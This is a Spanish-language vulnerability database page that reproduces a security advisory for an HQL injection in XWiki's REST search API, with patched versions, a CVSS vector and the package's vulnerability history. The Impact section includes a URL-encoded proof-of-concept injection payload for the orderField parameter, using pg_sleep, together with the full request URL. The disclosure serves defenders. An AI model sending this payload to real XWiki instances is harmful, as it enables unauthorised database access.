Crítica

XWiki Platform is vulnerable to HQL injection via wiki and space search REST API

  • Publicada: 06.10.2025
  • Actualizado: 11.10.2026 12:22

Impact

The REST search URL is vulnerable to HQL injection via the orderField parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it.

For example, with the following orderField parameter:

doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment'%20or%20a%3D'%20order%20by%20doc.fullName

See the following error:

QuerySyntaxException: unexpected token: $$ near line 1, column 518 [select distinct doc.fullName, doc.space, doc.name, doc.language, doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where (doc.hidden <> true or doc.hidden is null) and ($$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=') order by doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc  where ( (upper(doc.title) like :keywords) ) order by doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName asc]

For reference, the full URL for the above error is:

http://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName

Patches

This has been patched in 17.5.0, 17.4.2, 16.10.9.

Workarounds

There is no known workaround, other than upgrading XWiki.

Resources

For more information

If you have any questions or comments about this advisory:

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Java / Kotlin (Maven) org.xwiki.platform:xwiki-platform-rest-server >= 17.0.0-rc-1, < 17.4.2, >= 4.3-milestone-1, < 16.10.9 17.4.2, 16.10.9

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-89
Plataforma
Java / Kotlin (Maven)
Paquete
org.xwiki.platform:xwiki-platform-rest-server
Publicada
06.10.2025
Actualizado
11.10.2026 12:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-gprp-h92g-gc2h - CC BY 4.0

Historial de vulnerabilidades: org.xwiki.platform:xwiki-platform-rest-server

Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (11) en el archivo
Entradas en total
11
Primera → última
11.2022 05.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 4
  • Alta 4
  • Media 3

Divulgaciones por año

  1. 2022: 1
  2. 2023: 2
  3. 2024: 1
  4. 2025: 6
  5. 2026: 1
Gravedad:
  1. Crítica CVE-2026-33137 >= 15.10.6, < 16.10.17, >= 17.0.0-rc-1, < 17.4.9, >= 17.5.0, < 17.10.3, >= 18.0.0-rc-1, < 18.1.0-rc-1 16.10.17, 17.4.9, 17.10.3, 18.1.0-rc-1
  2. Alta CVE-2025-66473 < 16.10.11, >= 17.0.0-rc-1, < 17.4.4, >= 17.5.0-rc-1, < 17.7.0-rc-1 16.10.11, 17.4.4, 17.7.0-rc-1
  3. XWiki Platform is vulnerable to HQL injection via wiki and space search REST API esta entrada
    Crítica CVE-2025-52472 >= 17.0.0-rc-1, < 17.4.2, >= 4.3-milestone-1, < 16.10.9 17.4.2, 16.10.9
  4. Alta CVE-2025-49584 >= 10.9, < 16.4.7, >= 16.5.0-rc-1, < 16.10.3, >= 17.0.0-rc-1, < 17.0.0 16.4.7, 16.10.3, 17.0.0
  5. Crítica · 9.8 CVE-2025-32969 >= 1.8, < 15.10.16, >= 16.0.0-rc-1, < 16.4.6, >= 16.5.0-rc-1, < 16.10.1 15.10.16, 16.4.6, 16.10.1
  6. Alta CVE-2025-29925 >= 1.9M1, < 15.10.14, >= 16.0.0-rc-1, < 16.4.6, >= 16.5.0-rc-1, < 16.10.0-rc-1 15.10.14, 16.4.6, 16.10.0-rc-1
  7. Crítica · 9.6 CVE-2023-37277 >= 1.8, < 14.10.8, >= 15.0-rc-1, < 15.2 14.10.8, 15.2
  8. Alta · 7.5 CVE-2023-35151 >= 7.3-milestone-1, < 14.4.8, >= 14.5, < 14.10.6, >= 15.0-rc-1, < 15.1 14.4.8, 14.10.6, 15.1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.